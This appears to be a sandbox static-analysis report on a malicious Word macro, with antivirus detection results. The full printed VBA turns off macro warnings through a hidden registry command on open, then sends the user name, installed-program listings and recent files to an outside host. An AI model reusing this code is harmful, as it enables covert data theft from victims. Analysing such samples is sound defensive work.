popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Deobfuscated

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Original

                                        Attribute VB_Name = "NewMacros"

Declare PtrSafe Sub WinExec Lib "kernel32.dll" (ByVal cmd As String, ByVal opcode As Integer)


Dim qazwsx   As Integer





Function aaaaaaaaaaaa(ByVal InputStr)
     Const ConstStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
     Dim dataLength, sOut, groupBegin
  
     InputStr = Replace(InputStr, vbCrLf, "")
     InputStr = Replace(InputStr, vbTab, "")
     InputStr = Replace(InputStr, " ", "")
     dataLength = Len(InputStr)
     
     For groupBegin = 1 To dataLength Step 4
          Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
          numDataBytes = 3
          nGroup = 0
        
          For CharCounter = 0 To 3
               thisChar = Mid(InputStr, groupBegin + CharCounter, 1)
            
               If thisChar = "=" Then
                    numDataBytes = numDataBytes - 1
                    thisData = 0
               Else
                    thisData = InStr(1, ConstStr, thisChar, vbBinaryCompare) - 1
               End If
  
               If thisData = -1 Then

                    Exit Function
               End If
            
               nGroup = 64 * nGroup + thisData
          Next
          nGroup = Hex(nGroup)
          nGroup = String(6 - Len(nGroup), "0") & nGroup
          pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
                    Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
                    Chr(CByte("&H" & Mid(nGroup, 5, 2)))
          sOut = sOut & Left(pOut, numDataBytes)
     Next
     aaaaaaaaaaaa = sOut
End Function


Function edcrfv(fgtredcvb As String) As String
    
    On Error Resume Next
    Dim nhbgvfc As Integer
    Dim fvgbhnjm As Integer
    Dim fnhgbjm As String
    lijhygt = ""
    nhbgvfc = 0

     
    fnhgbjm = Dir(fgtredcvb & "*.*", vbDirectory)
    Dim fileType As String
    Do While ((fnhgbjm) <> "")
        If ((fnhgbjm <> ".") And (fnhgbjm <> "..")) Then
            lijhygt = lijhygt + " - " + fnhgbjm
        End If
        nhbgvfc = nhbgvfc + 1
        fnhgbjm = Dir(fgtredcvb & "*.*", vbDirectory)
        Do While (fvgbhnjm < nhbgvfc And fnhgbjm <> "")
            fnhgbjm = Dir
            fvgbhnjm = fvgbhnjm + 1
        Loop
        fvgbhnjm = 0
    Loop
     edcrfv = lijhygt
End Function
Function tgbyhn()

On Error Resume Next
     
     
List = ""

Dim oRecentFile As RecentFile

If RecentFiles.Count >= 1 Then
   
    For Each oRecentFile In RecentFiles
        List = List & oRecentFile.Path & "\" & oRecentFile.Name & " - "
    Next oRecentFile
End If


tgbyhn = List

End Function

Function rdxcftgb(strCmd)
On Error Resume Next

str1 = aaaaaaaaaaaa("V3NjcmlwdC5zaGVsbA")
str1 = Left$(str1, InStr(str1, vbNullChar) - 1)

Set vfredcbgtyhn = CreateObject(str1)
vfredcbgtyhn.Run strCmd, Right(Left("jlfgh0dgj0dgkdg0dt345gv567", 6), 1), False

End Function

Sub AutoOpen()
On Error Resume Next

str1 = aaaaaaaaaaaa("cmVnLmV4ZSBhZGQgSEtFWV9DVVJSRU5UX1VTRVJcU09GVFdBUkVcTWljcm9zb2Z0XE9mZmljZVw")
str1 = Left$(str1, InStr(str1, vbNullChar) - 1)
str2 = aaaaaaaaaaaa("XFdvcmRcU2VjdXJpdHlcIC92IFZCQVdhcm5pbmdzIC90IHJlZ19kd29yZCAvZCAxIC9m")
str2 = Left$(str2, InStr(str2, vbNullChar) - 1)
cmd = str1 & Application.Version & str2
rdxcftgb (cmd)
qazwsx = 0

End Sub


Function ujmikl()
 On Error Resume Next
    If (qazwsx = 0) Then
    
        vfgbvcd = Application.Version
        uname = Application.UserName
        os = System.OperatingSystem
        sv = System.Version
        rdxvdw = edcrfv(aaaaaaaaaaaa("QzpcXFByb2dyYW0gRmlsZXNcXA"))
        ki87ujhy = edcrfv(aaaaaaaaaaaa("QzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXA"))
        recent = tgbyhn
        dfresxcvfd = aaaaaaaaaaaa("aHR0cDovL2hhbmxpZ2h0Lm15Z2FtZXNvbmxpbmUub3JnLzI0MDMvdi5waHA=")
        who = "chosh3"
        drl = dfresxcvfd & "?w=" & who & "&rdxvdw=" & rdxvdw & "&ki87ujhy=" & ki87ujhy & "&r=" & recent & "&msv=" & vfgbvcd & "&un=" & uname & "&os=" & os & "&sv=" & sv
    
        Dim eszrdx
        Object = aaaaaaaaaaaa("TVNYTUwyLlNlcnZlclhNTEhUVFAuNi4w")
        
        Set eszrdx = CreateObject(Object)
        eszrdx.Open "GET", drl, False
        eszrdx.Send
        qazwsx = 1
        End If
   
End Function




Function ujmlkl()
 On Error Resume Next
    If (qazwsx = 7) Then
        vfgbvcd = Application.Version
        uname = Application.UserName
        os = System.OperatingSystem
        sv = System.Version
        rdxvdw = edcrfv(aaaaaaaaaaaa("QzpcXFByb2dyYW0gRmlsZXNcXA"))
        ki87ujhy = edcrfv(aaaaaaaaaaaa("QzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXA"))
        recent = tgbyhn
        dfresxcvfd = aaaaaaaaaaaa("aHR0cDovLzIwMC4yMDAuMjAwLjIwMC90ZXN0L3YucGhw")
        who = "caerang"
        drl = dfresxcvfd & "?w=" & who & "&rdxvdw=" & rdxvdw & "&ki87ujhy=" & ki87ujhy & "&r=" & recent & "&msv=" & vfgbvcd & "&un=" & uname & "&os=" & os & "&sv=" & sv
        Dim eszrdx
        Object = aaaaaaaaaaaa("ZmlsZXN5c3RlbTo6aW8")
        Set eszrdx = CreateObject(Object)
        eszrdx.Open "GET", drl, False
        eszrdx.Send
        qazwsx = 1
        End If
End Function


Sub FLL()

    Selection.TypeText Text:="a"
   ujmlkl
End Sub
Sub G9W()

    Selection.TypeText Text:="b"
   ujmlkl
End Sub
Sub GEA()

    Selection.TypeText Text:="c"
   ujmlkl
End Sub
Sub GJA()

    Selection.TypeText Text:="d"
   ujmlkl
End Sub
Sub HFG()

    Selection.TypeText Text:="e"
   ujmlkl
End Sub
Sub HMD()

    Selection.TypeText Text:="f"
   ujmlkl
End Sub
Sub IWE()

    Selection.TypeText Text:="i"
   ujmlkl
End Sub
Sub JFG()

    Selection.TypeText Text:="j"
   ujmlkl
End Sub
Sub JGL()

    Selection.TypeText Text:="k"
   ujmlkl
End Sub
Sub JGY()

    Selection.TypeText Text:="l"
   ujmlkl
End Sub
Sub JNF()

    Selection.TypeText Text:="m"
   ujmlkl
End Sub
Sub KFG()

    Selection.TypeText Text:="n"
   ujmlkl
End Sub
Sub KGH()

    Selection.TypeText Text:="o"
   ujmlkl
End Sub
Sub KJE()

    Selection.TypeText Text:="p"
   ujmlkl
End Sub
Sub KSA()

    Selection.TypeText Text:="q"
   ujmlkl
End Sub
Sub KYP()

    Selection.TypeText Text:="r"
   ujmlkl
End Sub
Sub SLK()

    Selection.TypeText Text:="t"
   ujmlkl
End Sub
Sub THS()

    Selection.TypeText Text:="u"
   ujmlkl
End Sub
Sub W3I()

    Selection.TypeText Text:="v"
   ujmlkl
End Sub
Sub WSE()

    Selection.TypeText Text:="w"
   ujmlkl
End Sub
Sub ASN()

    Selection.TypeText Text:="y"
   ujmlkl
End Sub
Sub DF8()

    Selection.TypeText Text:="z"
   ujmlkl
End Sub
Sub IHI()

    Selection.TypeText Text:="h"
   ujmlkl
End Sub
Sub AKS()

    Selection.TypeText Text:="x"
   ujmlkl
End Sub
Sub HSL()

    Selection.TypeText Text:="g"
   ujmlkl
End Sub
Sub ESH()

    Selection.TypeText Text:="1"
    ujmikl
End Sub
Sub F8G()

    Selection.TypeText Text:="2"
    ujmikl
End Sub
Sub FDG()

    Selection.TypeText Text:="3"
    ujmikl
End Sub
Sub FGH()

    Selection.TypeText Text:="4"
    ujmikl
End Sub
Sub FGJ()

    Selection.TypeText Text:="5"
    ujmikl
End Sub
Sub FGM()

    Selection.TypeText Text:="6"
    ujmikl
End Sub
Sub FGU()

    Selection.TypeText Text:="7"
    ujmikl
End Sub
Sub FJG()

    Selection.TypeText Text:="8"
    ujmikl
End Sub
Sub FKJ()

    Selection.TypeText Text:="9"
    ujmikl
End Sub
Sub ERH()

    Selection.TypeText Text:="0"
    ujmikl
End Sub
Sub JTO()

    Selection.TypeText Text:="-"
    ujmikl
    
End Sub
Sub KJP()

    Selection.TypeText Text:="="
    ujmikl
End Sub
Sub G8I()

    Selection.TypeBackspace
    ujmikl
End Sub
Sub JHL()

    Selection.TypeText Text:="["
End Sub
Sub LDK()

    Selection.TypeText Text:="]"
End Sub
Sub G9Y()

    Selection.TypeText Text:="B"
   ujmlkl
End Sub
Sub GJL()

    Selection.TypeText Text:="D"
   ujmlkl
End Sub
Sub HIT()

    Selection.TypeText Text:="E"
   ujmlkl
End Sub
Sub HSJ()

    Selection.TypeText Text:="F"
   ujmlkl
End Sub
Sub IER()

    Selection.TypeText Text:="G"
   ujmlkl
End Sub
Sub IRJ()

    Selection.TypeText Text:="H"
   ujmlkl
End Sub
Sub JFB()

    Selection.TypeText Text:="I"
   ujmlkl
End Sub
Sub JGK()

    Selection.TypeText Text:="J"
   ujmlkl
End Sub
Sub JGS()

    Selection.TypeText Text:="K"
   ujmlkl
End Sub
Sub JLA()

    Selection.TypeText Text:="L"
   ujmlkl
End Sub
Sub KDJ()

    Selection.TypeText Text:="M"
   ujmlkl
End Sub
Sub KFJ()

    Selection.TypeText Text:="N"
   ujmlkl
End Sub
Sub KRO()

    Selection.TypeText Text:="P"
   ujmlkl
End Sub
Sub KUJ()

    Selection.TypeText Text:="Q"
   ujmlkl
End Sub
Sub LKF()

    Selection.TypeText Text:="R"
   ujmlkl
End Sub
Sub REI()

    Selection.TypeText Text:="S"
   ujmlkl
End Sub
Sub TGS()

    Selection.TypeText Text:="T"
   ujmlkl
End Sub
Sub UIG()

    Selection.TypeText Text:="U"
   ujmlkl
End Sub
Sub WGY()

    Selection.TypeText Text:="V"
   ujmlkl
End Sub
Sub YGA()

    Selection.TypeText Text:="W"
   ujmlkl
End Sub
Sub ASJ()

    Selection.TypeText Text:="X"
   ujmlkl
End Sub
Sub BKS()

    Selection.TypeText Text:="Y"
   ujmlkl
End Sub
Sub DFJ()

    Selection.TypeText Text:="Z"
   ujmlkl
End Sub
Sub FUE()

    Selection.TypeText Text:="A"
   ujmlkl
End Sub
Sub KJD()

    Selection.TypeText Text:="O"
   ujmlkl
End Sub
Sub QWE()

    Selection.TypeText Text:="\"
    ujmikl
End Sub
Sub KUY()

    Selection.TypeText Text:=";"
    ujmikl
End Sub
Sub SWR()

    Selection.TypeText Text:="'"
   ujmlkl
End Sub
Sub GIR()

    Selection.TypeText Text:=","
   ujmlkl
End Sub
Sub GLS()

    Selection.TypeText Text:="."
   ujmlkl
End Sub
Sub GAL()

    Selection.TypeText Text:="/"
   ujmlkl
End Sub
Sub LSK()

    Selection.TypeText Text:="@"
    ujmikl
End Sub
Sub MLD()

    Selection.TypeText Text:="#"
    ujmikl
End Sub
Sub MNA()

    Selection.TypeText Text:="$"
    ujmikl
End Sub
Sub MND()

    Selection.TypeText Text:="%"
    ujmikl
End Sub
Sub NLD()

    Selection.TypeText Text:="^"
    ujmikl
End Sub
Sub OHW()

    Selection.TypeText Text:="&"
    ujmikl
End Sub
Sub OJE()

    Selection.TypeText Text:="*"
    ujmikl
End Sub
Sub OYJ()

    Selection.TypeText Text:="("
    ujmikl
End Sub
Sub LKS0()

    Selection.TypeText Text:=")"
    ujmikl
End Sub
Sub RUI()

    Selection.TypeText Text:="_"
    ujmikl
End Sub
Sub RLK()

    Selection.TypeText Text:="+"
    ujmikl
End Sub
Sub RTJ()

    Selection.TypeText Text:="{"
    ujmikl
End Sub
Sub SFG()

    Selection.TypeText Text:="}"
    ujmikl
End Sub
Sub SKD()

    Selection.TypeText Text:="|"
    ujmikl
End Sub
Sub SDL()

    Selection.TypeText Text:=":"
    ujmikl
End Sub
Sub SLD()

    Selection.TypeText Text:=""""
End Sub
Sub RGH()

    Selection.TypeText Text:="<"
    ujmikl
End Sub
Sub RJG()

    Selection.TypeText Text:=">"
    ujmikl
End Sub
Sub RFU()
    Selection.TypeText Text:="?"
    ujmikl
End Sub
Sub LKS()
    Selection.TypeText Text:="s"
    ujmikl
End Sub
Sub LQW()
    Selection.TypeText Text:="!"
    ujmikl
End Sub
Sub GFN()
    Selection.TypeText Text:="C"
End Sub
Sub GKJ()

    Selection.Delete Unit:=wdCharacter, Count:=1
    ujmikl
End Sub
Sub ISE()

    Selection.HomeKey Unit:=wdLine
    ujmikl
End Sub
Sub HLK()
    Selection.EndKey Unit:=wdLine
    ujmikl
End Sub
Sub KJG()

    Selection.MoveUp Unit:=wdScreen, Count:=1
    ujmikl
End Sub
Sub TWQ()

    Selection.MoveUp Unit:=wdLine, Count:=1
    ujmikl
End Sub
Sub GQU()

    Selection.MoveDown Unit:=wdLine, Count:=1
    ujmikl
End Sub
Sub JKG()

    Selection.MoveLeft Unit:=wdCharacter, Count:=1
    ujmikl
End Sub
Sub LKD()

    Selection.MoveRight Unit:=wdCharacter, Count:=1
    ujmikl
End Sub
Sub vfdc()
Attribute vfdc.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.vfdc"
Selection.Paste
    ujmikl
End Sub
Sub vfdds()
Attribute vfdds.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.vfdds"
    Selection.Paste
    ujmikl
End Sub

Deobfuscated

                                        Attribute VB_Name = "NewMacros"

Declare PtrSafe Sub WinExec Lib "kernel32.dll" (ByVal cmd As String, ByVal opcode As Integer)


Dim qazwsx   As Integer





Function aaaaaaaaaaaa(ByVal InputStr)
     Const ConstStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
     Dim dataLength, sOut, groupBegin
  
     InputStr = Replace(InputStr, vbCrLf, "")
     InputStr = Replace(InputStr, vbTab, "")
     InputStr = Replace(InputStr, " ", "")
     dataLength = Len(InputStr)
     
     For groupBegin = 1 To dataLength Step 4
          Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
          numDataBytes = 3
          nGroup = 0
        
          For CharCounter = 0 To 3
               thisChar = Mid(InputStr, groupBegin + CharCounter, 1)
            
               If thisChar = "=" Then
                    numDataBytes = numDataBytes - 1
                    thisData = 0
               Else
                    thisData = InStr(1, ConstStr, thisChar, vbBinaryCompare) - 1
               End If
  
               If thisData = -1 Then

                    Exit Function
               End If
            
               nGroup = 64 * nGroup + thisData
          Next
          nGroup = Hex(nGroup)
          nGroup = String(6 - Len(nGroup), "0") & nGroup
          pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
                    Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
                    Chr(CByte("&H" & Mid(nGroup, 5, 2)))
          sOut = sOut & Left(pOut, numDataBytes)
     Next
     aaaaaaaaaaaa = sOut
End Function


Function edcrfv(fgtredcvb As String) As String
    
    On Error Resume Next
    Dim nhbgvfc As Integer
    Dim fvgbhnjm As Integer
    Dim fnhgbjm As String
    lijhygt = ""
    nhbgvfc = 0

     
    fnhgbjm = Dir(fgtredcvb & "*.*", vbDirectory)
    Dim fileType As String
    Do While ((fnhgbjm) <> "")
        If ((fnhgbjm <> ".") And (fnhgbjm <> "..")) Then
            lijhygt = lijhygt + " - " + fnhgbjm
        End If
        nhbgvfc = nhbgvfc + 1
        fnhgbjm = Dir(fgtredcvb & "*.*", vbDirectory)
        Do While (fvgbhnjm < nhbgvfc And fnhgbjm <> "")
            fnhgbjm = Dir
            fvgbhnjm = fvgbhnjm + 1
        Loop
        fvgbhnjm = 0
    Loop
     edcrfv = lijhygt
End Function
Function tgbyhn()

On Error Resume Next
     
     
List = ""

Dim oRecentFile As RecentFile

If RecentFiles.Count >= 1 Then
   
    For Each oRecentFile In RecentFiles
        List = List & oRecentFile.Path & "\" & oRecentFile.Name & " - "
    Next oRecentFile
End If


tgbyhn = List

End Function

Function rdxcftgb(strCmd)
On Error Resume Next

str1 = aaaaaaaaaaaa("V3NjcmlwdC5zaGVsbA")
str1 = Left$(str1, InStr(str1, vbNullChar) - 1)

Set vfredcbgtyhn = CreateObject(str1)
vfredcbgtyhn.Run strCmd, Right(Left("jlfgh0dgj0dgkdg0dt345gv567", 6), 1), False

End Function

Sub AutoOpen()
On Error Resume Next

str1 = aaaaaaaaaaaa("cmVnLmV4ZSBhZGQgSEtFWV9DVVJSRU5UX1VTRVJcU09GVFdBUkVcTWljcm9zb2Z0XE9mZmljZVw")
str1 = Left$(str1, InStr(str1, vbNullChar) - 1)
str2 = aaaaaaaaaaaa("XFdvcmRcU2VjdXJpdHlcIC92IFZCQVdhcm5pbmdzIC90IHJlZ19kd29yZCAvZCAxIC9m")
str2 = Left$(str2, InStr(str2, vbNullChar) - 1)
cmd = str1 & Application.Version & str2
rdxcftgb (cmd)
qazwsx = 0

End Sub


Function ujmikl()
 On Error Resume Next
    If (qazwsx = 0) Then
    
        vfgbvcd = Application.Version
        uname = Application.UserName
        os = System.OperatingSystem
        sv = System.Version
        rdxvdw = edcrfv(aaaaaaaaaaaa("QzpcXFByb2dyYW0gRmlsZXNcXA"))
        ki87ujhy = edcrfv(aaaaaaaaaaaa("QzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXA"))
        recent = tgbyhn
        dfresxcvfd = aaaaaaaaaaaa("aHR0cDovL2hhbmxpZ2h0Lm15Z2FtZXNvbmxpbmUub3JnLzI0MDMvdi5waHA=")
        who = "chosh3"
        drl = dfresxcvfd & "?w=" & who & "&rdxvdw=" & rdxvdw & "&ki87ujhy=" & ki87ujhy & "&r=" & recent & "&msv=" & vfgbvcd & "&un=" & uname & "&os=" & os & "&sv=" & sv
    
        Dim eszrdx
        Object = aaaaaaaaaaaa("TVNYTUwyLlNlcnZlclhNTEhUVFAuNi4w")
        
        Set eszrdx = CreateObject(Object)
        eszrdx.Open "GET", drl, False
        eszrdx.Send
        qazwsx = 1
        End If
   
End Function




Function ujmlkl()
 On Error Resume Next
    If (qazwsx = 7) Then
        vfgbvcd = Application.Version
        uname = Application.UserName
        os = System.OperatingSystem
        sv = System.Version
        rdxvdw = edcrfv(aaaaaaaaaaaa("QzpcXFByb2dyYW0gRmlsZXNcXA"))
        ki87ujhy = edcrfv(aaaaaaaaaaaa("QzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXA"))
        recent = tgbyhn
        dfresxcvfd = aaaaaaaaaaaa("aHR0cDovLzIwMC4yMDAuMjAwLjIwMC90ZXN0L3YucGhw")
        who = "caerang"
        drl = dfresxcvfd & "?w=" & who & "&rdxvdw=" & rdxvdw & "&ki87ujhy=" & ki87ujhy & "&r=" & recent & "&msv=" & vfgbvcd & "&un=" & uname & "&os=" & os & "&sv=" & sv
        Dim eszrdx
        Object = aaaaaaaaaaaa("ZmlsZXN5c3RlbTo6aW8")
        Set eszrdx = CreateObject(Object)
        eszrdx.Open "GET", drl, False
        eszrdx.Send
        qazwsx = 1
        End If
End Function


Sub FLL()

    Selection.TypeText Text:="a"
   ujmlkl
End Sub
Sub G9W()

    Selection.TypeText Text:="b"
   ujmlkl
End Sub
Sub GEA()

    Selection.TypeText Text:="c"
   ujmlkl
End Sub
Sub GJA()

    Selection.TypeText Text:="d"
   ujmlkl
End Sub
Sub HFG()

    Selection.TypeText Text:="e"
   ujmlkl
End Sub
Sub HMD()

    Selection.TypeText Text:="f"
   ujmlkl
End Sub
Sub IWE()

    Selection.TypeText Text:="i"
   ujmlkl
End Sub
Sub JFG()

    Selection.TypeText Text:="j"
   ujmlkl
End Sub
Sub JGL()

    Selection.TypeText Text:="k"
   ujmlkl
End Sub
Sub JGY()

    Selection.TypeText Text:="l"
   ujmlkl
End Sub
Sub JNF()

    Selection.TypeText Text:="m"
   ujmlkl
End Sub
Sub KFG()

    Selection.TypeText Text:="n"
   ujmlkl
End Sub
Sub KGH()

    Selection.TypeText Text:="o"
   ujmlkl
End Sub
Sub KJE()

    Selection.TypeText Text:="p"
   ujmlkl
End Sub
Sub KSA()

    Selection.TypeText Text:="q"
   ujmlkl
End Sub
Sub KYP()

    Selection.TypeText Text:="r"
   ujmlkl
End Sub
Sub SLK()

    Selection.TypeText Text:="t"
   ujmlkl
End Sub
Sub THS()

    Selection.TypeText Text:="u"
   ujmlkl
End Sub
Sub W3I()

    Selection.TypeText Text:="v"
   ujmlkl
End Sub
Sub WSE()

    Selection.TypeText Text:="w"
   ujmlkl
End Sub
Sub ASN()

    Selection.TypeText Text:="y"
   ujmlkl
End Sub
Sub DF8()

    Selection.TypeText Text:="z"
   ujmlkl
End Sub
Sub IHI()

    Selection.TypeText Text:="h"
   ujmlkl
End Sub
Sub AKS()

    Selection.TypeText Text:="x"
   ujmlkl
End Sub
Sub HSL()

    Selection.TypeText Text:="g"
   ujmlkl
End Sub
Sub ESH()

    Selection.TypeText Text:="1"
    ujmikl
End Sub
Sub F8G()

    Selection.TypeText Text:="2"
    ujmikl
End Sub
Sub FDG()

    Selection.TypeText Text:="3"
    ujmikl
End Sub
Sub FGH()

    Selection.TypeText Text:="4"
    ujmikl
End Sub
Sub FGJ()

    Selection.TypeText Text:="5"
    ujmikl
End Sub
Sub FGM()

    Selection.TypeText Text:="6"
    ujmikl
End Sub
Sub FGU()

    Selection.TypeText Text:="7"
    ujmikl
End Sub
Sub FJG()

    Selection.TypeText Text:="8"
    ujmikl
End Sub
Sub FKJ()

    Selection.TypeText Text:="9"
    ujmikl
End Sub
Sub ERH()

    Selection.TypeText Text:="0"
    ujmikl
End Sub
Sub JTO()

    Selection.TypeText Text:="-"
    ujmikl
    
End Sub
Sub KJP()

    Selection.TypeText Text:="="
    ujmikl
End Sub
Sub G8I()

    Selection.TypeBackspace
    ujmikl
End Sub
Sub JHL()

    Selection.TypeText Text:="["
End Sub
Sub LDK()

    Selection.TypeText Text:="]"
End Sub
Sub G9Y()

    Selection.TypeText Text:="B"
   ujmlkl
End Sub
Sub GJL()

    Selection.TypeText Text:="D"
   ujmlkl
End Sub
Sub HIT()

    Selection.TypeText Text:="E"
   ujmlkl
End Sub
Sub HSJ()

    Selection.TypeText Text:="F"
   ujmlkl
End Sub
Sub IER()

    Selection.TypeText Text:="G"
   ujmlkl
End Sub
Sub IRJ()

    Selection.TypeText Text:="H"
   ujmlkl
End Sub
Sub JFB()

    Selection.TypeText Text:="I"
   ujmlkl
End Sub
Sub JGK()

    Selection.TypeText Text:="J"
   ujmlkl
End Sub
Sub JGS()

    Selection.TypeText Text:="K"
   ujmlkl
End Sub
Sub JLA()

    Selection.TypeText Text:="L"
   ujmlkl
End Sub
Sub KDJ()

    Selection.TypeText Text:="M"
   ujmlkl
End Sub
Sub KFJ()

    Selection.TypeText Text:="N"
   ujmlkl
End Sub
Sub KRO()

    Selection.TypeText Text:="P"
   ujmlkl
End Sub
Sub KUJ()

    Selection.TypeText Text:="Q"
   ujmlkl
End Sub
Sub LKF()

    Selection.TypeText Text:="R"
   ujmlkl
End Sub
Sub REI()

    Selection.TypeText Text:="S"
   ujmlkl
End Sub
Sub TGS()

    Selection.TypeText Text:="T"
   ujmlkl
End Sub
Sub UIG()

    Selection.TypeText Text:="U"
   ujmlkl
End Sub
Sub WGY()

    Selection.TypeText Text:="V"
   ujmlkl
End Sub
Sub YGA()

    Selection.TypeText Text:="W"
   ujmlkl
End Sub
Sub ASJ()

    Selection.TypeText Text:="X"
   ujmlkl
End Sub
Sub BKS()

    Selection.TypeText Text:="Y"
   ujmlkl
End Sub
Sub DFJ()

    Selection.TypeText Text:="Z"
   ujmlkl
End Sub
Sub FUE()

    Selection.TypeText Text:="A"
   ujmlkl
End Sub
Sub KJD()

    Selection.TypeText Text:="O"
   ujmlkl
End Sub
Sub QWE()

    Selection.TypeText Text:="\"
    ujmikl
End Sub
Sub KUY()

    Selection.TypeText Text:=";"
    ujmikl
End Sub
Sub SWR()

    Selection.TypeText Text:="'"
   ujmlkl
End Sub
Sub GIR()

    Selection.TypeText Text:=","
   ujmlkl
End Sub
Sub GLS()

    Selection.TypeText Text:="."
   ujmlkl
End Sub
Sub GAL()

    Selection.TypeText Text:="/"
   ujmlkl
End Sub
Sub LSK()

    Selection.TypeText Text:="@"
    ujmikl
End Sub
Sub MLD()

    Selection.TypeText Text:="#"
    ujmikl
End Sub
Sub MNA()

    Selection.TypeText Text:="$"
    ujmikl
End Sub
Sub MND()

    Selection.TypeText Text:="%"
    ujmikl
End Sub
Sub NLD()

    Selection.TypeText Text:="^"
    ujmikl
End Sub
Sub OHW()

    Selection.TypeText Text:="&"
    ujmikl
End Sub
Sub OJE()

    Selection.TypeText Text:="*"
    ujmikl
End Sub
Sub OYJ()

    Selection.TypeText Text:="("
    ujmikl
End Sub
Sub LKS0()

    Selection.TypeText Text:=")"
    ujmikl
End Sub
Sub RUI()

    Selection.TypeText Text:="_"
    ujmikl
End Sub
Sub RLK()

    Selection.TypeText Text:="+"
    ujmikl
End Sub
Sub RTJ()

    Selection.TypeText Text:="{"
    ujmikl
End Sub
Sub SFG()

    Selection.TypeText Text:="}"
    ujmikl
End Sub
Sub SKD()

    Selection.TypeText Text:="|"
    ujmikl
End Sub
Sub SDL()

    Selection.TypeText Text:=":"
    ujmikl
End Sub
Sub SLD()

    Selection.TypeText Text:=""""
End Sub
Sub RGH()

    Selection.TypeText Text:="<"
    ujmikl
End Sub
Sub RJG()

    Selection.TypeText Text:=">"
    ujmikl
End Sub
Sub RFU()
    Selection.TypeText Text:="?"
    ujmikl
End Sub
Sub LKS()
    Selection.TypeText Text:="s"
    ujmikl
End Sub
Sub LQW()
    Selection.TypeText Text:="!"
    ujmikl
End Sub
Sub GFN()
    Selection.TypeText Text:="C"
End Sub
Sub GKJ()

    Selection.Delete Unit:=wdCharacter, Count:=1
    ujmikl
End Sub
Sub ISE()

    Selection.HomeKey Unit:=wdLine
    ujmikl
End Sub
Sub HLK()
    Selection.EndKey Unit:=wdLine
    ujmikl
End Sub
Sub KJG()

    Selection.MoveUp Unit:=wdScreen, Count:=1
    ujmikl
End Sub
Sub TWQ()

    Selection.MoveUp Unit:=wdLine, Count:=1
    ujmikl
End Sub
Sub GQU()

    Selection.MoveDown Unit:=wdLine, Count:=1
    ujmikl
End Sub
Sub JKG()

    Selection.MoveLeft Unit:=wdCharacter, Count:=1
    ujmikl
End Sub
Sub LKD()

    Selection.MoveRight Unit:=wdCharacter, Count:=1
    ujmikl
End Sub
Sub vfdc()
Attribute vfdc.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.vfdc"
Selection.Paste
    ujmikl
End Sub
Sub vfdds()
Attribute vfdds.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.vfdds"
    Selection.Paste
    ujmikl
End Sub
[Content_Types].xml
_rels/.rels
word/_rels/document.xml.rels
*pl6==
word/document.xml
Lpnd&|?
-n:/$.
0zX&l%
=/rCKW
5SKl5K
bRE:,k
x*P~x*
7iiWu\Q=
XjH,,5,5,
m?a'oU
l6l6l6poH8
1~)W],
4COT@h
F>k])s
WNv3xn
}H,,5,5,5,5p
XXjXjXjXj
YkRYrE
9l6l6l6po8l6B
8,5,5,5p
l6l6p
Cps<Y~MO
XjI-~Rk90
kq@~.S
6sBJ9W
,5,5,5p
gK9M_-
XXjXjXjXj
8u"E#h
vGT}Zl
;I3"(}u
u=19<>u
word/endnotes.xml
+j_j3C
&Gt$ F
(r2K[;
word/footnotes.xml
word/_rels/vbaProject.bin.relsl
-\Ya;>>
word/vbaProject.bin
%F/KXF
MuqoLo
4wlQw
u_\s]\
+\uGb.Ng
S}?Lu6E
p]b[RN
R[qm(R_6
?]x=%vqS
ka6b>+
tZH!Iy
S <7Ll{
tZH#IaH
E[7I}z
UIz[=k
7pRL67
MKxizT8
=AP-KR
Viklv
{yZR06
Tfjao!
word/theme/theme1.xml
kdX(lt\
,+t*H$
8?Qt1/
"(<Ik~1
word/settings.xml
=W1q'5q:
/Uyvg]W4
INguzi
'Gb?;&
C>\{Nk
word/customizations.xml
a'}AeHB
word/vbaData.xml
word/fontTable.xml
EFy;<Q
hhzl)&
ARl<Q605
word/styles.xml
<KH!>fW
i7}h7<
biDo+!
KLgtA3
D;#qY-h
eu?+ym
74beR7
6n=lW
GvBWXB_
docProps/app.xml
8rpI^FD
j( p^8
jf'wv:
docProps/core.xml
":qfi[
word/webSettings.xml
AQ{/i"
[Content_Types].xmlPK
_rels/.relsPK
word/_rels/document.xml.relsPK
word/document.xmlPK
word/endnotes.xmlPK
word/footnotes.xmlPK
word/_rels/vbaProject.bin.relsPK
word/vbaProject.binPK
word/theme/theme1.xmlPK
word/settings.xmlPK
word/customizations.xmlPK
word/vbaData.xmlPK
word/fontTable.xmlPK
word/styles.xmlPK
docProps/app.xmlPK
docProps/core.xmlPK
word/webSettings.xmlPK
Antivirus Signature
Bkav Clean
MicroWorld-eScan Trojan.GenericKD.36582109
FireEye Trojan.GenericKD.36582109
CAT-QuickHeal Ole.Trojan.A1613078
McAfee RDN/Generic.dx
Malwarebytes Clean
VIPRE Clean
Sangfor Clean
Trustlook Clean
BitDefender Trojan.GenericKD.36582109
K7GW Clean
K7AntiVirus Clean
BitDefenderTheta Clean
Cyren Clean
